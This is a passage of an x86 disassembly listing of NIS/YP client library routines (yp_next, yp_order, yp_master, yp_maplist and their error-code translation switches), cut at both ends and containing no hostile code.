		mov	[ebp+var_20], esi
		mov	esi, [ebp+arg_8]
		mov	[ebp+var_1C], esi
		mov	esi, [ebp+arg_C]
		mov	[ebp+var_18], esi
		push	14h
		lea	ebx, [ebp+var_14]
		push	ebx
		call	sub_806626C
		mov	edx, [ebp+var_28]
		mov	ecx, [edx+120h]
		mov	eax, [ecx+4]
		push	[ebp+var_30]
		push	[ebp+var_34]
		push	ebx
		push	offset sub_80665DC
		lea	edx, [ebp+var_24]
		push	edx
		push	offset sub_8066514
		push	5
		push	ecx
		mov	edx, [eax]
		call	edx
		mov	ebx, eax
		add	esp, 28h
		test	ebx, ebx
		jz	short loc_805D950
		push	offset aYp_nextClnt_ca ; "yp_next: clnt_call"
		mov	edx, [ebp+var_28]
		mov	edx, [edx+120h]
		push	edx
		call	sub_8063894
		mov	edx, [ebp+var_28]
		mov	dword ptr [edx+128h], 0FFFFFFFFh
		push	edx
		call	sub_805D2F4
		add	esp, 0Ch
		mov	edx, [ebp+var_2C]
		inc	[ebp+var_2C]
		cmp	ds:dword_8069034, edx
		jg	loc_805D884
		mov	eax, 2
		jmp	loc_805DA06
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805D950:				; CODE XREF: sub_805D814+F2j
		mov	edx, [ebp+var_14]
		push	edx
		call	sub_805DFE0
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	loc_805D9ED
		mov	edx, [ebp+var_C]
		mov	esi, [ebp+arg_14]
		mov	[esi], edx
		mov	edx, [esi]
		add	edx, 2
		push	edx
		call	malloc
		mov	esi, [ebp+arg_10]
		mov	[esi], eax
		mov	esi, [ebp+arg_14]
		mov	edx, [esi]
		push	edx
		push	eax
		mov	edx, [ebp+var_10]
		push	edx
		call	bcopy
		mov	esi, [ebp+arg_10]
		mov	ecx, [esi]
		mov	esi, [ebp+arg_14]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx], 0Ah
		mov	ecx, [esi]
		mov	esi, [ebp+arg_10]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx+1], 0
		mov	edx, [ebp+var_4]
		mov	esi, [ebp+arg_1C]
		mov	[esi], edx
		mov	edx, [esi]
		add	edx, 2
		push	edx
		call	malloc
		mov	esi, [ebp+arg_18]
		mov	[esi], eax
		mov	esi, [ebp+arg_1C]
		mov	edx, [esi]
		push	edx
		push	eax
		mov	edx, [ebp+var_8]
		push	edx
		call	bcopy
		mov	esi, [ebp+arg_18]
		mov	ecx, [esi]
		mov	esi, [ebp+arg_1C]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx], 0Ah
		mov	ecx, [esi]
		mov	esi, [ebp+arg_18]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx+1], 0
		add	esp, 20h

loc_805D9ED:				; CODE XREF: sub_805D814+14Cj
		lea	edx, [ebp+var_14]
		push	edx
		push	offset sub_80665DC
		call	sub_8064E74
		mov	edx, [ebp+var_28]
		push	edx
		call	sub_805D2F4
		mov	eax, ebx

loc_805DA06:				; CODE XREF: sub_805D814+45j
					; sub_805D814+89j ...
		lea	esp, [ebp+var_40]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805D814	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805DA10	proc near

var_38		= byte ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		jz	short loc_805DA33
		cmp	byte ptr [ebx],	0
		jz	short loc_805DA33
		cmp	[ebp+arg_4], 0
		jz	short loc_805DA33
		mov	edi, [ebp+arg_4]
		cmp	byte ptr [edi],	0
		jnz	short loc_805DA40

loc_805DA33:				; CODE XREF: sub_805DA10+Ej
					; sub_805DA10+13j ...
		mov	eax, 1
		jmp	loc_805DB49
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DA40:				; CODE XREF: sub_805DA10+21j
		lea	edx, [ebp+var_14]
		push	edx
		push	ebx
		call	sub_805CE84
		add	esp, 8
		test	eax, eax
		jz	short loc_805DA5C
		mov	eax, 3
		jmp	loc_805DB49
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805DA5C:				; CODE XREF: sub_805DA10+3Fj
		mov	edi, ds:dword_8069030
		mov	[ebp+var_2C], edi
		mov	[ebp+var_28], 0
		mov	[ebp+var_18], 0FFFFFFFFh
		mov	ecx, [ebp+var_14]
		mov	edx, [ecx+108h]
		mov	[ebp+var_10], edx
		mov	edx, [ecx+10Ch]
		mov	[ebp+var_C], edx
		mov	edx, [ecx+110h]
		mov	[ebp+var_8], edx
		mov	edx, [ecx+114h]
		mov	[ebp+var_4], edx
		mov	word ptr [ebp+var_10+2], 0
		push	0
		push	0
		lea	edx, [ebp+var_18]
		push	edx
		push	2
		push	186A4h
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_8063B04
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_805DAD4
		push	offset aClnttcp_create ; "clnttcp_create failed\n"
		call	sub_80625DC
		mov	eax, 9
		jmp	short loc_805DB49
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DAD4:				; CODE XREF: sub_805DA10+AFj
		mov	[ebp+var_20], ebx
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_1C], edi
		mov	edi, [ebp+arg_8]
		mov	edx, [edi]
		mov	ds:dword_807EB90, edx
		mov	edx, [edi+4]
		mov	ds:dword_807EB8C, edx
		mov	ecx, [esi+4]
		push	[ebp+var_28]
		push	[ebp+var_2C]
		lea	ebx, [ebp+var_24]
		push	ebx
		push	offset sub_80668AC
		lea	edx, [ebp+var_20]
		push	edx
		push	offset sub_8066564
		push	8
		push	esi
		mov	edx, [ecx]
		call	edx
		add	esp, 20h
		mov	edx, [esi+4]
		push	esi
		mov	edx, [edx+10h]
		call	edx
		push	ebx
		push	offset sub_80668AC
		call	sub_8064E74
		mov	edx, [ebp+var_14]
		push	edx
		call	sub_805D2F4
		add	esp, 10h
		cmp	[ebp+var_24], 0
		jnz	short loc_805DB40
		xor	eax, eax
		jmp	short loc_805DB49
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DB40:				; CODE XREF: sub_805DA10+12Aj
		mov	edx, [ebp+var_24]
		push	edx
		call	sub_805DFE0

loc_805DB49:				; CODE XREF: sub_805DA10+28j
					; sub_805DA10+46j ...
		lea	esp, [ebp+var_38]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805DA10	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805DB54	proc near

var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_18], 0
		cmp	[ebp+arg_0], 0
		jz	short loc_805DB80
		mov	ecx, [ebp+arg_0]
		cmp	byte ptr [ecx],	0
		jz	short loc_805DB80
		cmp	[ebp+arg_4], 0
		jz	short loc_805DB80
		mov	ecx, [ebp+arg_4]
		cmp	byte ptr [ecx],	0
		jnz	short loc_805DB8C

loc_805DB80:				; CODE XREF: sub_805DB54+14j
					; sub_805DB54+1Cj ...
		mov	eax, 1
		jmp	loc_805DC65
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DB8C:				; CODE XREF: sub_805DB54+2Aj
					; sub_805DB54+106j
		lea	edx, [ebp+var_4]
		push	edx
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_805CE84
		add	esp, 8
		test	eax, eax
		jz	short loc_805DBAC
		mov	eax, 3
		jmp	loc_805DC65
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DBAC:				; CODE XREF: sub_805DB54+4Aj
		mov	esi, ds:dword_8069030
		xor	edi, edi
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_14], ecx
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_10], ecx
		push	8
		lea	ebx, [ebp+var_C]
		push	ebx
		call	sub_806626C
		mov	edx, [ebp+var_4]
		mov	edx, [edx+120h]
		mov	[ebp+var_1C], edx
		mov	eax, [edx+4]
		push	edi
		push	esi
		push	ebx
		push	offset sub_8066664
		lea	edx, [ebp+var_14]
		push	edx
		push	offset sub_8066564
		push	0Ah
		mov	ecx, [ebp+var_1C]
		push	ecx
		mov	edx, [eax]
		call	edx
		add	esp, 28h
		test	eax, eax
		jnz	short loc_805DC24
		mov	edx, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		mov	[ecx], edx
		push	ebx
		push	offset sub_8066664
		call	sub_8064E74
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_805D2F4
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_805DFE0
		jmp	short loc_805DC65
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805DC24:				; CODE XREF: sub_805DB54+A6j
		push	offset aYp_orderClnt_c ; "yp_order: clnt_call"
		mov	edx, [ebp+var_4]
		mov	edx, [edx+120h]
		push	edx
		call	sub_8063894
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+128h], 0FFFFFFFFh
		push	edx
		call	sub_805D2F4
		add	esp, 0Ch
		mov	edx, [ebp+var_18]
		inc	[ebp+var_18]
		cmp	ds:dword_8069034, edx
		jg	loc_805DB8C
		mov	eax, 2

loc_805DC65:				; CODE XREF: sub_805DB54+31j
					; sub_805DB54+51j ...
		lea	esp, [ebp+var_28]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805DB54	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805DC70	proc near

var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_18], 0
		cmp	[ebp+arg_0], 0
		jz	short loc_805DC9C
		mov	ecx, [ebp+arg_0]
		cmp	byte ptr [ecx],	0
		jz	short loc_805DC9C
		cmp	[ebp+arg_4], 0
		jz	short loc_805DC9C
		mov	ecx, [ebp+arg_4]
		cmp	byte ptr [ecx],	0
		jnz	short loc_805DCA8

loc_805DC9C:				; CODE XREF: sub_805DC70+14j
					; sub_805DC70+1Cj ...
		mov	eax, 1
		jmp	loc_805DD9C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DCA8:				; CODE XREF: sub_805DC70+2Aj
					; sub_805DC70+E0j
		lea	edx, [ebp+var_4]
		push	edx
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_805CE84
		add	esp, 8
		test	eax, eax
		jz	short loc_805DCC8
		mov	eax, 3
		jmp	loc_805DD9C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DCC8:				; CODE XREF: sub_805DC70+4Aj
		mov	esi, ds:dword_8069030
		xor	edi, edi
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_14], ecx
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_10], ecx
		push	8
		lea	ebx, [ebp+var_C]
		push	ebx
		call	sub_806626C
		mov	edx, [ebp+var_4]
		mov	edx, [edx+120h]
		mov	[ebp+var_1C], edx
		mov	eax, [edx+4]
		push	edi
		push	esi
		push	ebx
		push	offset sub_8066628
		lea	edx, [ebp+var_14]
		push	edx
		push	offset sub_8066564
		push	9
		mov	ecx, [ebp+var_1C]
		push	ecx
		mov	edx, [eax]
		call	edx
		mov	ebx, eax
		add	esp, 28h
		test	ebx, ebx
		jz	short loc_805DD60
		push	offset aYp_masterClnt_ ; "yp_master: clnt_call"
		mov	edx, [ebp+var_4]
		mov	edx, [edx+120h]
		push	edx
		call	sub_8063894
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+128h], 0FFFFFFFFh
		push	edx
		call	sub_805D2F4
		add	esp, 0Ch
		mov	edx, [ebp+var_18]
		inc	[ebp+var_18]
		cmp	ds:dword_8069034, edx
		jg	loc_805DCA8
		mov	eax, 2
		jmp	short loc_805DD9C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DD60:				; CODE XREF: sub_805DC70+A8j
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_805DFE0
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_805DD83
		mov	edx, [ebp+var_8]
		push	edx
		call	strdup
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		add	esp, 4

loc_805DD83:				; CODE XREF: sub_805DC70+100j
		lea	edx, [ebp+var_C]
		push	edx
		push	offset sub_8066628
		call	sub_8064E74
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_805D2F4
		mov	eax, ebx

loc_805DD9C:				; CODE XREF: sub_805DC70+31j
					; sub_805DC70+51j ...
		lea	esp, [ebp+var_28]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805DC70	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805DDA8	proc near

var_20		= byte ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_10], 0
		cmp	[ebp+arg_0], 0
		jz	short loc_805DDC6
		mov	ecx, [ebp+arg_0]
		cmp	byte ptr [ecx],	0
		jnz	short loc_805DDD0

loc_805DDC6:				; CODE XREF: sub_805DDA8+14j
		mov	eax, 1
		jmp	loc_805DE91
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DDD0:				; CODE XREF: sub_805DDA8+1Cj
					; sub_805DDA8+DEj
		lea	edx, [ebp+var_4]
		push	edx
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_805CE84
		add	esp, 8
		test	eax, eax
		jz	short loc_805DDF0
		mov	eax, 3
		jmp	loc_805DE91
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DDF0:				; CODE XREF: sub_805DDA8+3Aj
		mov	esi, ds:dword_8069030
		xor	edi, edi
		push	8
		lea	ebx, [ebp+var_C]
		push	ebx
		call	sub_806626C
		mov	edx, [ebp+var_4]
		mov	edx, [edx+120h]
		mov	ecx, [edx+4]
		mov	[ebp+var_14], ecx
		push	edi
		push	esi
		push	ebx
		push	offset sub_8066754
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	offset sub_8066464
		push	0Bh
		push	edx
		mov	ecx, [ebp+var_14]
		mov	edx, [ecx]
		call	edx
		add	esp, 28h
		test	eax, eax
		jnz	short loc_805DE50
		mov	edx, [ebp+var_8]
		mov	ecx, [ebp+arg_4]
		mov	[ecx], edx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_805D2F4
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_805DFE0
		jmp	short loc_805DE91
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DE50:				; CODE XREF: sub_805DDA8+8Aj
		push	offset aYp_maplistClnt ; "yp_maplist: clnt_call"
		mov	edx, [ebp+var_4]
		mov	edx, [edx+120h]
		push	edx
		call	sub_8063894
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+128h], 0FFFFFFFFh
		push	edx
		call	sub_805D2F4
		add	esp, 0Ch
		mov	edx, [ebp+var_10]
		inc	[ebp+var_10]
		cmp	ds:dword_8069034, edx
		jg	loc_805DDD0
		mov	eax, 2

loc_805DE91:				; CODE XREF: sub_805DDA8+23j
					; sub_805DDA8+41j ...
		lea	esp, [ebp+var_20]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805DDA8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805DE9C	proc near

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	eax, 10h	; switch 17 cases 
		ja	loc_805DFC4	; default
		jmp	ds:off_805DEB4[eax*4] ;	switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
off_805DEB4	dd offset loc_805DEF8, offset loc_805DF04, offset loc_805DF10
					; DATA XREF: sub_805DE9C+Fr
		dd offset loc_805DF1C, offset loc_805DF28, offset loc_805DF34 ;	jump table for switch statement
		dd offset loc_805DF40, offset loc_805DF4C, offset loc_805DF58
		dd offset loc_805DF64, offset loc_805DF70, offset loc_805DF7C
		dd offset loc_805DF88, offset loc_805DF94, offset loc_805DFA0
		dd offset loc_805DFAC, offset loc_805DFB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DEF8:				; CODE XREF: sub_805DE9C+Fj
					; DATA XREF: sub_805DE9C+18o
		mov	eax, offset aSuccess ; case 0x0
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DF04:				; CODE XREF: sub_805DE9C+Fj
					; DATA XREF: sub_805DE9C+18o
		mov	eax, offset aRequestArgumen ; case 0x1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DF10:				; CODE XREF: sub_805DE9C+Fj
					; DATA XREF: sub_805DE9C+18o
		mov	eax, offset aRpcFailure	; case 0x2
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DF1C:				; CODE XREF: sub_805DE9C+Fj
					; DATA XREF: sub_805DE9C+18o
		mov	eax, offset aCanTBindToServ ; case 0x3
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DF28:				; CODE XREF: sub_805DE9C+Fj
					; DATA XREF: sub_805DE9C+18o
		mov	eax, offset aNoSuchMapInSer ; case 0x4
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DF34:				; CODE XREF: sub_805DE9C+Fj
					; DATA XREF: sub_805DE9C+18o
		mov	eax, offset aNoSuchKeyInMap ; case 0x5
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DF40:				; CODE XREF: sub_805DE9C+Fj
					; DATA XREF: sub_805DE9C+18o
		mov	eax, offset aYpServerError ; case 0x6
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DF4C:				; CODE XREF: sub_805DE9C+Fj
					; DATA XREF: sub_805DE9C+18o
		mov	eax, offset aLocalResourceA ; case 0x7
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DF58:				; CODE XREF: sub_805DE9C+Fj
					; DATA XREF: sub_805DE9C+18o
		mov	eax, offset aNoMoreRecordsI ; case 0x8
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DF64:				; CODE XREF: sub_805DE9C+Fj
					; DATA XREF: sub_805DE9C+18o
		mov	eax, offset aCanTCommunicat ; case 0x9
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DF70:				; CODE XREF: sub_805DE9C+Fj
					; DATA XREF: sub_805DE9C+18o
		mov	eax, offset aCanTCommunic_0 ; case 0xa
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DF7C:				; CODE XREF: sub_805DE9C+Fj
					; DATA XREF: sub_805DE9C+18o
		mov	eax, offset aCanTCommunic_1 ; case 0xb
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DF88:				; CODE XREF: sub_805DE9C+Fj
					; DATA XREF: sub_805DE9C+18o
		mov	eax, offset aLocalDomainNam ; case 0xc
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DF94:				; CODE XREF: sub_805DE9C+Fj
					; DATA XREF: sub_805DE9C+18o
		mov	eax, offset aServerDataBase ; case 0xd
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DFA0:				; CODE XREF: sub_805DE9C+Fj
					; DATA XREF: sub_805DE9C+18o
		mov	eax, offset aYpServerVersio ; case 0xe
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DFAC:				; CODE XREF: sub_805DE9C+Fj
					; DATA XREF: sub_805DE9C+18o
		mov	eax, offset aAccessViolatio ; case 0xf
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DFB8:				; CODE XREF: sub_805DE9C+Fj
					; DATA XREF: sub_805DE9C+18o
		mov	eax, offset aDatabaseIsBusy ; case 0x10
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DFC4:				; CODE XREF: sub_805DE9C+9j
		push	eax		; default
		push	offset aYpUnknownError ; "YP unknown error %d\n"
		push	offset unk_807E308
		call	sprintf
		mov	eax, offset unk_807E308
		mov	esp, ebp
		pop	ebp
		retn
sub_805DE9C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805DFE0	proc near		; CODE XREF: sub_805D3A8+1A8p
					; sub_805D638+120p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		add	eax, 8		; switch 11 cases 
		cmp	eax, 0Ah
		ja	loc_805E09C	; default
		jmp	ds:off_805DFFC[eax*4] ;	switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
off_805DFFC	dd offset loc_805E090, offset loc_805E084, offset loc_805E06C
					; DATA XREF: sub_805DFE0+12r
		dd offset loc_805E078, offset loc_805E06C, offset loc_805E060 ;	jump table for switch statement
		dd offset loc_805E054, offset loc_805E048, offset loc_805E030
		dd offset loc_805E028, offset loc_805E03C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E028:				; CODE XREF: sub_805DFE0+12j
					; DATA XREF: sub_805DFE0+1Co
		xor	eax, eax	; case 0x1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E030:				; CODE XREF: sub_805DFE0+12j
					; DATA XREF: sub_805DFE0+1Co
		mov	eax, 0Ah	; case 0x0
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E03C:				; CODE XREF: sub_805DFE0+12j
					; DATA XREF: sub_805DFE0+1Co
		mov	eax, 8		; case 0x2
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E048:				; CODE XREF: sub_805DFE0+12j
					; DATA XREF: sub_805DFE0+1Co
		mov	eax, 4		; case -0x1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E054:				; CODE XREF: sub_805DFE0+12j
					; DATA XREF: sub_805DFE0+1Co
		mov	eax, 0Ch	; case -0x2
		mov	esp, ebp
		pop	ebp
		retn
